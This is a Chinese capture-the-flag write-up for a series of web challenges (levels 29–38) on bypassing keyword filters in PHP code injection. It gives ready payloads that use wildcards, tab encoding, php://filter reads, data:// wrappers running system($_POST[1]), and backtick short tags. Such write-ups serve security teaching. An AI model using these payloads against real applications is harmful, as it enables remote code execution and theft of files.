Web 29
题目过滤了flag,所以利用通配符来执行命令。
Payload:?c=system('tac f*');
Web 30
查看源代码
System函数不能用,可以用passthru、exec,shell_exec等函数,exec不能输出结果。
特别说一下用exec时构造?c=exec(‘cp f* 1.txt’);(将flag.PHP中的内容复制给1.txt)
访问1.txt,拿到flag。
Web 31
过滤条件: flag\system\PHP\cat\sort\shell\小数点\空格\单引号
cat用tac,nl代替
空格用%09代替
Payload:?c=passthru("tac%09f*");
Web 32
查看源代码。
上边的都用不了,所以用文件包含include(),include可以无括号包含,分号;可以用?>代替,与前面形成闭合,这样就可以做到参数逃逸
构造
payload:?c=include%09$_GET[1]?>&1=PHP://filter/read=convert.base64-encode/resource=flag.PHP
用base64解密,拿到flag。
Web 33-35
Payload和web 32一样。
Web 36
和之前相比数字也被过滤了,把改为a即可。
Payload:?c=include%09$_GET[a]?>&a=PHP://filter/read=convert.base64-encode/resource=flag.PHP
Base64解密,得到flag。
Web 37
查看源代码
看到include函数,说明需要我们利用include函数命令执行,这里可以使用伪协议,同时利用字符串逃逸,绕过过滤
data伪协议命令执行:data:text/plain,<PHP代码; ?>
构造?c=data:text/plain,<?PHP system($_POST[1]);?>
同时POST:1=tac flag.PHP
得到flag。
Web38
查看代码。
比上一题多了一个PHP和file过滤,应该是想过滤PHP://filter
绕过PHP:data伪协议后的代码是<?PHP code; ?>,这里PHP用短标签代替
<?PHP echols;?> 使用短标签方式表示:<?=`ls`?>
payload:?c=data:text/plain,<?=`cat f*`?>
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。